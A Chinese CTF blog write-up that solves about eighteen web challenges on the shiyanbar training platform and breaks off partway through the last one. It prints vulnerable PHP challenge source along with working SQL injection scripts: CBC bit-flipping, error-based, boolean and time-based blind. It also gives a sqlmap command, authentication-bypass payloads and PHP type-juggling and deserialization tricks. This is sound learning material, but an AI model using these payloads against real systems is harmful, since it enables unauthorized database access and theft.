美文网首页CTF训练
2018-11-02-[实验吧]-web-writeup

2018-11-02-[实验吧]-web-writeup

作者: 最初的美好_kai | 来源:发表于2019-04-04 14:47 被阅读0次

    一.简单的登录题
    进入首页以后是一个登录框
    然后抓包的时候发现一个小提示:


    p2

    然后直接get这个文件下来看看.
    其中test.php的源代码如下所示:

    define("SECRET_KEY", '***********');#秘钥
    define("METHOD", "aes-128-cbc");#cbc模式,一个模块加密以后拿去与下一个模块异或,然后下一个模块再加密
    error_reporting(0);#设置错误报告等级,关掉所有的错误报告
    include('conn.php');
    function sqliCheck($str){
        if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
            return 1;
        }
        return 0;
    }#sql注入检查
    function get_random_iv(){
        $random_iv='';
        for($i=0;$i<16;$i++){
            $random_iv.=chr(rand(1,255));
        }
        return $random_iv;#生成随机iv
    }
    function login($info){
        $iv = get_random_iv();
        $plain = serialize($info);#明文先进行序列化
        $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);#进行加密
        setcookie("iv", base64_encode($iv));#iv进行编码以后放在cookie里面
        setcookie("cipher", base64_encode($cipher));#cipher进行加密以后放在cookie里面
    }
    function show_homepage(){
        global $link;
        if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){#检查cookie里面这两个值是不是
            $cipher = base64_decode($_COOKIE['cipher']);
            $iv = base64_decode($_COOKIE["iv"]);
            if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){#尝试解密
                $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");#解密后反序列化
                $sql="select * from users limit ".$info['id'].",0";#limit的用法是只查这一个用户开始之后偏移量为0的数据
                $result=mysqli_query($link,$sql);
                
                if(mysqli_num_rows($result)>0  or die(mysqli_error($link))){
                    $rows=mysqli_fetch_array($result);
                    echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
                }
                else{
                    echo '<h1><center>Hello!</center></h1>';
                }
            }else{
                die("ERROR!");
            }
        }
    }
    if(isset($_POST['id'])){#如果id不为空,检查并接收id
        $id = (string)$_POST['id'];
        if(sqliCheck($id))
            die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
        $info = array('id'=>$id);#创建一个数组
        login($info);#这样的话其实就是拿id来加密了.....
        echo '<h1><center>Hello!</center></h1>';
    }else{#如果id为空,就检查iv以及cipher,不为空就进行检查
        if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
            show_homepage();
        }else{#啥都没有就相当于重新刷新首页
            echo '<body class="login-body" style="margin:0 auto">
                    <div id="wrapper" style="margin:0 auto;width:800px;">
                        <form name="login-form" class="login-form" action="" method="post">
                            <div class="header">
                            <h1>Login Form</h1>
                            <span>input id to login</span>
                            </div>
                            <div class="content">
                            <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
                            </div>
                            <div class="footer">
                            <p><input type="submit" name="submit" value="Login" class="button" /></p>
                            </div>
                        </form>
                    </div>
                </body>';
        }
    }
    

    看了源代码发现这是个aes-128-cbc模式加密代码.
    截取一个包看看


    p3

    可以看到有ID的话其实只会显示hello,我们要进行sql查询flag就不能有id,但要有iv和cipher....
    接下来看看大佬的解决方案怎么写的,代码如下:

    # -*- coding:utf8 -*-
    
    from base64 import *
    import urllib
    import requests
    import re
    
    def denglu(payload,idx,c1,c2):
    
        url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
    
        payload = {'id': payload}#ID是payload
    
        r = requests.post(url, data=payload)发送post包出去,经测试赋值的时候就会出去了
    
        Set_Cookie=r.headers['Set-Cookie']
    
        iv=re.findall(r"iv=(.*?),", Set_Cookie)[0]#取下iv
    
        cipher=re.findall(r"cipher=(.*)", Set_Cookie)[0]#取下cookie
    
        iv_raw = b64decode(urllib.unquote(iv))#解码
    
        cipher_raw=b64decode(urllib.unquote(cipher))#解码,unquote是把一些特殊字符的转义给解析回来
    
        lst=list(cipher_raw)
    
        lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
    
        cipher_new=''.join(lst)
    
        cipher_new=urllib.quote(b64encode(cipher_new))
    
        cookie_new={'iv': iv,'cipher':cipher_new}
    
        r = requests.post(url, cookies=cookie_new)
    
        cont=r.content#r.content是返回包的内容
    
        plain = re.findall(r"base64_decode\('(.*?)'\)", cont)[0]
    
        plain = b64decode(plain)#解密明文
    
        first='a:1:{s:2:"id";s:'
    
        iv_new=''
    
        for i in range(16):
    
            iv_new += chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
    
        iv_new = urllib.quote(b64encode(iv_new))
    
        cookie_new = {'iv': iv_new, 'cipher': cipher_new}
    
        r = requests.post(url, cookies=cookie_new)
    
        rcont = r.content
    
        print rcont#做两次是为啥
    
    denglu('12',4,'2','#')
    
    denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')#开始进行sql查询,这里可能需要加密知识不是很懂...
    
    denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
    
    denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
    
    denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,'2','u')
    

    这里涉及加密的内容,以后补上吧....

    二.后台登录
    进去了以后直接f12,看到提示

     $password=$_POST['password'];
        $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
        $result=mysqli_query($link,$sql);
            if(mysqli_num_rows($result)>0){
                echo 'flag is :'.$flag;
            }
            else{
                echo '密码错误!';
            } 
    

    可以看到输入的点只有password一个,然后进行了md5加密.
    这里科普一下php的md5函数.

    Selection_001.png
    运行实例如下:
    Selection_001.png
    可以看到raw这个参数是用来控制输出格式的,True的时候输出是16进制转字符串的结果,false的时候是输出普通16进制的结果.
    那也就是说要直接有某个字符串,md5后转换为16进制包含' or '就可以了.
    Google了一波,发现已经有人发现这样的字符串了:ffifdyop
    操作如下:
    Selection_002.png
    flag就出来了.

    三.加了料的报错注入
    这道题一上来就是要你post username以及password然后直接上


    p3

    直接抓包的话是Get请求,所以需要在hackbar里面填数据,经过测试发现username以及password都是有注入点的.接着进行注入点fuzz测试一下过滤了哪些,发现username过滤了()等符号,但是没有过滤updatexml,password过滤了updatexml
    于是可以利用这种不同地方过滤规则不一样的漏洞,通过http分割注入来进行get flag.


    p4
    payload:' and updatexml/*&password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1
    

    可以get到数据库名称是error_based_hpf
    接着利用这种分割注入(其实就是加入注释符号而已....)
    然后就是查询表明,数据库名已经知道了,所以直接上payload:

    payload:1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where (table_schema regexp binary '^error_based_hpf') ),0x7e),3)or'1
    

    这里过滤了=,所以不能直接指定数据库,大佬说用like或者regexp代替,我试了一下like被过滤了,绕过方法可真是多种多样...


    p5

    [图片上传中...(Selection_001.jpg-bc5522-1550628832873-0)]
    然后就是知道两个表是ffll44jj,users
    接着获取列.

    payload:username=1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where (table_schema regexp binary '^error_based_hpf') and (table_name regexp binary '^ffll44jj') ),0x7e),3)or'1
    
    p6

    然后查数据

    payload:username=' and updatexml/*
    &password=*/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or'1
    
    p7

    最终获取flag{err0r_b4sed_sqli_+_hpf}

    四.认真一点
    该题目首页如下:


    p8

    检测结果是空格会被过滤,空格过滤那就是用括号或者注释符来代替
    逗号被过滤,直接sql detected,这里大佬说用from for可以代替,学一波,经测试是直接可以select mid(database() from(1) for(5))#选择数据库名称1到5位置的字符
    然后if没被过滤,等于号没被过滤,然后学习一波大佬的盲注脚本

    import requests;
    import string
    
    url='http://ctf5.shiyanbar.com/web/earnest/index.php'
    s=requests.session()
    
    ascii=string.printable
    
    def exploit(payload):
        payload=payload.replace(' ',chr(0x0a));
        flag=''
        for i in range(1,20):
            for j in ascii:
                temp=j;
                data={'id':payload.format(i,temp)};
                html=s.post(url,data=data);
    
                if "You are in" in html.content.decode('utf-8'):
                    if j=='*':
                      j=' '
                    flag+=j;
                    print(flag);
                    break;
    
    if __name__=='__main__':
        exploit("0'oorr(mid(database()from({})foorr(1))='{}')oorr'0");#ctf_sql_bool_blind database name
        exploit("0'oorr((select(mid(group_concat(table_name)from({})foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='{}')oorr'0")
        exploit("0'oorr((select(mid(group_concat(column_name)from({})foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='{}')oorr'0")
        exploit("0'oorr((select(mid((fl$4g)from({})foorr(1)))from(fiag))='{}')oorr'0")
    

    这里第一的exploit是获取数据库名的,其中的{}老是看不明白,最后debug才发现原来是留白给后面format填充的.


    p9

    这个最好自己写一遍.....才明白啥意思
    整理一下盲注脚本的思路就是不断用mid函数注入出来一个字母再比对这个字母是啥就可以了.
    总结下那个盲注的思路就是利用mid函数探测每一个字符,通过一个个字符探测最后把那个flag名称拼接起来。
    五.你真的会PHP吗


    p10
    然后就上burp发现一个hint...
    p11

    直接访问以后是一些php代码,应该是考php代码审计。。。

    <?php
    
    
    $info = ""; 
    $req = [];
    $flag="xxxxxxxxxx";
    
    ini_set("display_error", false); 
    error_reporting(0); 
    
    
    if(!isset($_POST['number'])){
       header("hint:6c525af4059b4fe7d8c33a.txt");
    
       die("have a fun!!"); 
    }
    
    foreach([$_POST] as $global_var) { 
        foreach($global_var as $key => $value) { 
            $value = trim($value); 
            is_string($value) && $req[$key] = addslashes($value); 
        } 
    } 
    
    
    function is_palindrome_number($number) { 
        $number = strval($number); #Convert any scalar value (string, integer, or double) to a string. 
        $i = 0; 
        $j = strlen($number) - 1; 
        while($i < $j) { 
            if($number[$i] !== $number[$j]) { 
                return false; 
            } 
            $i++; 
            $j--; 
        } 
        return true; 
    } 
    
    
    if(is_numeric($_REQUEST['number'])){
        
       $info="sorry, you cann't input a number!";
    
    }elseif($req['number']!=strval(intval($req['number']))){
          
         $info = "number must be equal to it's integer!! ";  
    
    }else{
    
         $value1 = intval($req["number"]);#. intval()函数. 作用:. 获取变量的整数值.
         $value2 = intval(strrev($req["number"]));  
    
         if($value1!=$value2){
              $info="no, this is not a palindrome number!";
         }else{
              
              if(is_palindrome_number($req["number"])){
                  $info = "nice! {$value1} is a palindrome number!"; 
              }else{
                 $info=$flag;
              }
         }
    
    }
    
    echo $info;
    
    

    从代码审计中可以看出,首先number域不能为空,然后就是不能为纯数字,有is_numeric来判断,然后就是不能为一个回文数,这个是由is_palindrome_number来判断(PS:数字的特点是正反序是同一个数字),最后该数的翻转的整数值应该等于它本身的整数值,最后构建payload:0e-0%00....%00是用来绕过那个isnumber检查的
    注意发送数据的时候要改成post不用get方法.


    p12

    六.登陆一下好嘛
    这道题提示要用万能密码绕过,但是过滤了很多玩意..


    p13
    然后就是常见的fuzz,这里我自己写了个测试fuzz的框架,可以测试特殊字符哪些被过滤了.
    import requests;
    import string
    
    url='http://ctf5.shiyanbar.com/web/wonderkun/web/login.php'
    s=requests.session()
    
    ascii=string.printable
    
    def exploit_test(payload):
        data = {'username':payload, 'password':'admin'};
        headers={
            'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
            'Referer':'http://ctf5.shiyanbar.com/web/wonderkun/web/index.html',
            'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5'
        };
        html=s.post(url,data=data,headers=headers);
        r=html.content.decode("utf-8");
        #print(r);
        if 'username:'+payload+'</br>' in r:
            pass;
        else:
            print(payload+' was pass');
    
    if __name__=='__main__':
        for i in ascii:
            exploit_test(i);
    测试结果是:
    # was pass
    * was pass
    / was pass
    | was pass
    

    所有ascii中这四个字符被过滤了,然后就是各种常见的sql注入函数,懒得搞看看别人的writeup说or,union,select也一样被过滤,所以'就没被过滤喽...
    学一个新的万能密码:''=',如图


    p14
    select * from table where username= '''='' and password='''=''
    

    所以到底这是啥意思,一脸懵逼,这里是直接绕过两个限制吗?那其他部分不报错?
    七.Who You Are
    这道感觉是日志污染?


    p15

    然后直接使用x-forwarded-for字段来污染,因为该字段会记录我们的ip地址给他.记住一句话,要发送数据一定要转成post方法....
    然后就是fuzz阶段,测到如果是加了','以及后面的内容会被过滤,记得前面代替,的是mid from for.这道题考的是基于时间的盲注来着.直接上盲注脚本,这里学习一波case when then语句,先上一份找数据库名代码...

    import requests;
    import string;
    import time;
    
    url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
    s=requests.session()
    
    ascii=string.printable
    
    def exploit_test(payload):
        #data = {'username':payload, 'password':'admin'};
        flag='';
        try1=0;
        for i in range(1,5):#这里是建立在已知长度为4的情况下
            for j in ascii:
                headers = {
                    'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                    'Accept-Language': 'en-US,en;q=0.5',
                    'x-forwarded-for': payload.format(i,j)
                };
                start_time = time.time();
                html = s.post(url, headers=headers);
                r = html.content.decode("utf-8");
                end_time = time.time();
                if end_time - start_time > 8:
                    print('Now i is %s\n'%i);
                    flag+=j;
                    print('Flag:%s'%flag);
                    break;
                else:
                    try1+=1;
                    print('%s+%s'%(try1,j));
    
    
    if __name__=='__main__':
            exploit_test("1' and case when (substring((select database()) from '{}' for 1)='{}') then sleep(10) else sleep(0) end and '1'='1");#判断数据库名称为web4
    
    p16

    探索表数量代码如下:

    import requests;
    import string;
    import time;
    
    url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
    s=requests.session()
    
    ascii=string.printable
    
    def exploit_test(payload):
        #data = {'username':payload, 'password':'admin'};
        flag='';
        try1=0;
        for i in range(1,7):
            for j in ascii:
                headers = {
                    'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                    'Accept-Language': 'en-US,en;q=0.5',
                    'x-forwarded-for': payload.format(j)
                };
                start_time = time.time();
                html = s.post(url, headers=headers);
                r = html.content.decode("utf-8");
                end_time = time.time();
                if end_time - start_time > 8:
                    print('Now table number is %s\n'%j);
                    flag+=j;
                    #print('Flag:%s'%flag);
                    break;
                else:
                    try1+=1;
                    print('%s+%s'%(try1,j));
    
    
    if __name__=='__main__':
            #exploit_test("1' and case when (substring((select database()) from '{}' for 1)='{}') then sleep(10) else sleep(0) end and '1'='1");
            exploit_test("1' and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema='web4') = {}) then sleep(10) else sleep(0) end and '1'='1");
    

    经过探测表数量为2
    总体过程如下:

    判断数据库名称长度 1' and case when (length((SELECT concat(database())))&lt;5) then sleep(3) else sleep(0) end and '1'='1,此句如果执行有延迟,则说明数据库名称小于5个字符,使用&lt;4的时候,执行不成功,说明数据库长度为4个字符。
    判断数据库名的各个字符,&quot;1' and case when (substring((select database()) from %s for 1)='%s') then sleep(5) else sleep(0) end and '1'='1&quot;%(i,each),其中ii为从第i个字符开始,for 1为取一个字符,each为ascii,从此句可判断数据库名为web4
    查看数据库中表单的数量,1' and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema='web4') = 2) then sleep(3) else sleep(0) end and '1'='1;此句判断数据库中有两个表。
    判断数据库表名长度,&quot;1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='') then sleep(6) else 0 end and 'a'='a&quot; % (i),其中i为长度。
    判断数据库表名,&quot;1' and case when(ascii(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a&quot; % (i,each),其中ii为从第i个字符开始,for 1为取一个字符,each为ascii,找到表flag。
    判断表flag字段,&quot;1' and case when(ascii(substring((select group_concat(column_name separator ';') from information_schema.columns where table_name='flag') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a&quot; % (i,each),得到字段flag。
    判断表flag,字段flag中内容长度,&quot;1' and case when(length(substring((select group_concat(flag separator ';') from flag) from %s for 1))='') then sleep(6) else 0 end and 'a'='a&quot; %i。
    获取flag值,&quot;1' and (select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(10) else sleep(0) end ) and '1'='1&quot;%(i,str)。
    

    八.因缺思汀的绕过
    web题目的思路,看源码,看请求,看响应...
    源码里看到一个source.txt


    p17

    所以直接请求这个文件看看

    <?php
    error_reporting(0);
    
    if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
        echo '<form action="" method="post">'."<br/>";
        echo '<input name="uname" type="text"/>'."<br/>";
        echo '<input name="pwd" type="text"/>'."<br/>";
        echo '<input type="submit" />'."<br/>";
        echo '</form>'."<br/>";
        echo '<!--source: source.txt-->'."<br/>";
        die;
    }
    
    function AttackFilter($StrKey,$StrValue,$ArrReq){  
        if (is_array($StrValue)){
            $StrValue=implode($StrValue);
        }
        if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
            print "水�载舟,亦�赛艇�";
            exit();
        }
    }
    
    $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
    foreach($_POST as $key=>$value){ 
        AttackFilter($key,$value,$filter);
    }
    
    $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
    if (!$con){
        die('Could not connect: ' . mysql_error());
    }
    $db="XXXXXX";
    mysql_select_db($db, $con);
    $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
    $query = mysql_query($sql); 
    if (mysql_num_rows($query) == 1) { 
        $key = mysql_fetch_array($query);
        if($key['pwd'] == $_POST['pwd']) {
            print "CTF{XXXXXX}";
        }else{
            print "亦�赛艇�";
        }
    }else{
        print "一颗赛艇�";
    }
    mysql_close($con);
    ?>
    

    看源码可以知道一共有三个绕过条件

    1. $filter = "and|select|from|where|union|join|sleep|benchmark|,|(|)";整个条件使用正则表达式来匹配,然后直接绕过就可以了(' or '1'#)
    2. if (mysql_num_rows($query) == 1) 这个是限制查询出来的数据只有一个数据列,使用limit 1就可以了.
    3. if(key['pwd'] ==_POST['pwd'])这个要求我们post的pwd字段和目的结果集中的查询结果要一致,大佬们说用group by with rollup来解决这问题,使用这语句以后会在结尾插入一个null,然后使用limit offset语句来查询这个null,产生null=null的结果从而绕过该限制...
      payload:uname=1' or 1 group by pwd with rollup limit 1 offset 2 #&pwd=
      p18
      九:简单的sql注入之3
      这道题莫名其妙的,fuzz之后出现各种结果,不过要收集好的fuzz材料也是必须的...
      然后看了一下说是空格做了特别处理,想起sqlmap的space2comment脚本,直接获取flag
    sqlmap -r 44.txt -script=space2comment --dump -T flag -D web1
    
    p19

    十.天下武功唯快不破
    这道题目的思路就是http返回包里有一个flag,经过base64编码的,然后获取这个flag解码以后变成key:flag.b64decode post出去,然后直接获取真正的flag回来就行了,代码如下:

    import requests
    import base64
    url = "http://ctf5.shiyanbar.com/web/10/10.php" # 目标URL
    
    response = requests.post(url,data={"key":"1"}) # 打开链接
    flag =str(base64.b64decode((response.headers['FLAG']))).split(':')[1].rstrip("'")
    
    # head = response.headers # 获取响应头
    # flag = base64.b64decode(head['flag']) # 获取相应头中的Flag
    print(flag) # 打印Flag
    postData = {'key': flag} # 构造Post请求体
    result = requests.post(url=url, data=postData) # 利用Post方式发送请求
    # (注意要在同一个Session中 , 有的时候还需要设置Cookies , 但是此题不需要)
    print(result.text) #
    

    十一.让我进去
    这道题一上来直接看源码,没发现啥,然后看请求响应也没看出啥,一脸懵逼,最后直接看了看writeup发现是修改cookie参数,我去....


    p20

    然后直接获取源码看下:

    $flag = "XXXXXXXXXXXXXXXXXXXXXXX";
    $secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
    
    $username = $_POST["username"];
    $password = $_POST["password"];
    
    if (!empty($_COOKIE["getmein"])) {
        if (urldecode($username) === "admin" && urldecode($password) != "admin") {
            if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
                echo "Congratulations! You are a registered user.\n";
                die ("The flag is ". $flag);
            }
            else {
                die ("Your cookies don't match up! STOP HACKING THIS SITE.");
            }
        }
        else {
            die ("You are not an admin! LEAVE.");
        }
    }
    
    setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
    
    if (empty($_COOKIE["source"])) {
        setcookie("source", 0, time() + (60 * 60 * 24 * 7));
    }
    else {
        if ($_COOKIE["source"] != 0) {
            echo ""; // This source code is outputted here
        }
    }
    

    看下来要获取flag有几个条件...
    1是账号为admin,密码不应该是admin,二是用户名密码加盐值,md5之后的数值应该和cookie领域getmein的值相等,网上说这道题目是做所谓的hash长度拓展攻击.
    不说了文章看的一脸懵逼,密码学钻进去也是深的一撇.....
    所以学大佬最简单的方法....


    p21

    还是一脸闷逼...

    十二.拐弯抹角
    首页直接给了一段源代码,如下:

    <?php 
    // code by SEC@USTC 
    echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>'; 
    
    $URL = $_SERVER['REQUEST_URI']; 
    //echo 'URL: '.$URL.'<br/>'; 
    $flag = "CTF{???}"; 
    
    $code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php')); 
    $stop = 0; 
    
    //这道题目本身也有教学的目的 
    //第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的 
    //所以,第一个要求就是不得出现 ./ 
    if($flag && strpos($URL, './') !== FALSE){ 
        $flag = ""; 
        $stop = 1;        //Pass 
    } 
    
    //第二,我们可以构造 \ 来代替被过滤的 / 
    //所以,第二个要求就是不得出现 ../ 
    if($flag && strpos($URL, '\\') !== FALSE){ 
        $flag = ""; 
        $stop = 2;        //Pass 
    } 
    
    //第三,有的系统大小写通用,例如 indirectioN/ 
    //你也可以用?和#等等的字符绕过,这需要统一解决 
    //所以,第三个要求对可以用的字符做了限制,a-z / 和 . 
    $matches = array(); 
    preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches); 
    if($flag && empty($matches) || $matches[1] != $URL){ 
        $flag = ""; 
        $stop = 3;        //Pass 
    } 
    
    //第四,多个 / 也是可以的 
    //所以,第四个要求是不得出现 // 
    if($flag && strpos($URL, '//') !== FALSE){ 
        $flag = ""; 
        $stop = 4;        //Pass 
    } 
    
    //第五,显然加上index.php或者减去index.php都是可以的 
    //所以我们下一个要求就是必须包含/index.php,并且以此结尾 
    if($flag && substr($URL, -10) !== '/index.php'){ 
        $flag = ""; 
        $stop = 5;        //Not Pass 
    } 
    
    //第六,我们知道在index.php后面加.也是可以的 
    //所以我们禁止p后面出现.这个符号 
    if($flag && strpos($URL, 'p.') !== FALSE){ 
        $flag = ""; 
        $stop = 6;        //Not Pass 
    } 
    
    //第七,现在是最关键的时刻 
    //你的$URL必须与/indirection/index.php有所不同 
    if($flag && $URL == '/indirection/index.php'){ 
        $flag = ""; 
        $stop = 7;        //Not Pass 
    } 
    if(!$stop) $stop = 8; 
    
    echo 'Flag: '.$flag; 
    echo '<hr />'; 
    for($i = 1; $i < $stop; $i++) 
        $code = str_replace('//Pass '.$i, '//Pass', $code); 
    for(; $i < 8; $i++) 
        $code = str_replace('//Pass '.$i, '//Not Pass', $code); 
    echo highlight_string($code, TRUE); 
    echo '</body></html>';
    

    这道题题目说的很明显了,就是要你访问/index.php,然后有几个要求,一个是不能出现../,./等各种跳字节符号,一个是只能用小写字母,一个是不能出现注释符,一个是不能与/indirection/index.php相同,最后是不能在index.php后面加' . '.所以构造一个index.php/index.php就可以了.


    p22

    这里介绍一下伪静态技术,就是把一些动态网站的url映射成静态的资源,当访问静态资源时后台自动解析洞动态的,这样是为了提高搜索引擎的seo权重...

    十四.Forms
    这道题目是很简单的做法,直接修改包头数据字段展示源代码就知道了


    p23

    那就直接告诉你pin的密码了,直接赋值给PIN就行了。。。。

    十五:天网管理系统
    这道题目做法也是直接隐藏在网络分组里面了,所以直接看分组


    p24

    提示我们要直接填充一个username,使得username md5后的值可以0匹配,网上一波搜索说是以oe开头的md5值就好随手找了一个。。。s155964671a


    p25
    出现一个新的url,所以直接访问出现一个代码。。。
    p26
    所以直接看到要对所谓的password字段做一个所谓的反序列化,使得出来的user字段和pass字段等于某个值,但是没说是什么值,所以看了writeup说是PHP中bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。(a代表array,s代表string,b代表bool,而数字代表个数/长度)

    构造password值为: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}


    p27
    赶脚PHP还是要好好学学。。。。。

    十六:忘记密码了
    这题首页要求输入邮箱,给了邮箱有给出step2.php的URL,访问URL又自动跳入step1.php的页面输入邮箱,所以只能抓包看看所谓step2.php代码有没有了,代码如下:

    Frame 198: 334 bytes on wire (2672 bits), 334 bytes captured (2672 bits) on interface 0
    Ethernet II, Src: Netgear_03:8a:d1 (e0:91:f5:03:8a:d1), Dst: AsixElec_be:23:02 (00:0e:c6:be:23:02)
    Internet Protocol Version 4, Src: 106.2.25.10, Dst: 192.168.1.29
    Transmission Control Protocol, Src Port: 80, Dst Port: 55251, Seq: 1449, Ack: 429, Len: 268
    [2 Reassembled TCP Segments (1716 bytes): #197(1448), #198(268)]
    Hypertext Transfer Protocol
        HTTP/1.1 200 OK\r\n
        Date: Tue, 02 Apr 2019 06:45:42 GMT\r\n
        Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29\r\n
        X-Powered-By: PHP/5.3.29\r\n
        Content-Length: 1511\r\n
        Connection: close\r\n
        Content-Type: text/html\r\n
        \r\n
        [HTTP response 1/1]
        [Time since request: 0.040935000 seconds]
        [Request in frame: 196]
        [Request URI: http://ctf5.shiyanbar.com/10/upload/step2.php?email=youmail@mail.com&check=???????]
        File Data: 1511 bytes
    Line-based text data: text/html (55 lines)
        <br />\n
        <b>Notice</b>:  Use of undefined constant email - assumed 'email' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>2</b><br />\n
        <br />\n
        <b>Notice</b>:  Use of undefined constant check - assumed 'check' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>5</b><br />\n
        <meta http-equiv=refresh content=0.5;URL="./step1.php">check error!<!DOCTYPE html>\n
        <html>\n
        <head>\n
        \t<meta charset="utf-8" />\n
        \t<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />\n
        \t<meta name="renderer" content="webkit" />\n
        \t<meta name="admin" content="admin@simplexue.com" />\n
        \t<meta name="editor" content="Vim" />\n
        \t<title>logic</title>\n
        \t<style type="text/css">\n
        \t\tbody,html{\n
        \t\t\tposition: relative;\n
        \t\t\theight: 100%;\n
        \t\t\twidth: 100%;\n
        \t\t\tpadding: 0;\n
        \t\t\tmargin: 0;\n
        \t\t\tbackground-color: #272822;\n
        \t\t\tcolor: #fff;\n
        \t\t}\n
        \t\tform{\n
        \t\t\tposition: absolute;\n
        \t\t\ttop: 50%;\n
        \t\t\tleft: 50%;\n
        \t\t\twidth: 400px;\n
        \t\t\tmargin: -70px -200px;\n
        \t\t}\n
        \t\tform input{\n
        \t\t\tdisplay: block;\n
        \t\t\tmargin: 10px auto;\n
        \t\t\twidth: 100%;\n
        \t\t\tborder: none;\n
        \t\t\theight: 2rem;\n
        \t\t\tborder-radius: 5px;\n
        \t\t}\n
        \t</style>\n
        </head>\n
        <body>\n
        \t<form action="submit.php" method="GET">\n
        \t\t<h1>\346\211\276\345\233\236\345\257\206\347\240\201step2</h1>\n
        \t\temail:<input name="emailAddress" type="text" <br />\n
        <b>Notice</b>:  Use of undefined constant email - assumed 'email' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>49</b><br />\n
        value="youmail@mail.com"  disable="true"/></br>\n
        \t\ttoken:<input name="token" type="text" /></br>\n
        \t\t<input type="submit" value="\346\217\220\344\272\244">\n
        \t</form>\n
        </body>\n
        </html>\n
        \n
        \n
        \n
        \n
    

    可以看到他提交表格给了submit.php,但是无法直接访问submit.php。。。


    p28

    但是前面抓包的过程中有看到它提示编辑器是使用vim,联想到vim是使用交换文件的,于是构造交换文件.submit.php.swp,可以直接获取submit.php源码。。


    p29
    可以看到判断代码是要求token十位,并且必须是为0,那就0000000000就行了。。。还有必须是管理员邮箱。。
    p30

    十七: Once More
    这道题目需要好好学习一下代码审计知识。。。

    <?php
    if (isset ($_GET['password'])) {
        if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        {
            echo '<p>You password must be alphanumeric</p>';
        }
        else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
        {
            if (strpos ($_GET['password'], '*-*') !== FALSE)
            {
                die('Flag: ' . $flag);
            }
            else
            {
                echo('<p>*-* have not been found</p>');
            }
        }
        else
        {
            echo '<p>Invalid password</p>';
        }
    }
    ?>
    

    这道题目有三个限制条件,一个是不能出现非数字字母字符,一个是长度小于8且数字值要比9999999大,一个是必须包含-,然后看了writeup,发现ereg存在截断字符%00漏洞,所以直接构造payload:1e8%00-就直接获取flag了。。。

    十八:Guess Next Session
    这道题也是一道代码审计题目。。。

    <?php
    session_start(); 
    if (isset ($_GET['password'])) {
        if ($_GET['password'] == $_SESSION['password'])
            die ('Flag: '.$flag);
        else
            print '<p>Wrong guess.</p>';
    }
    
    mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
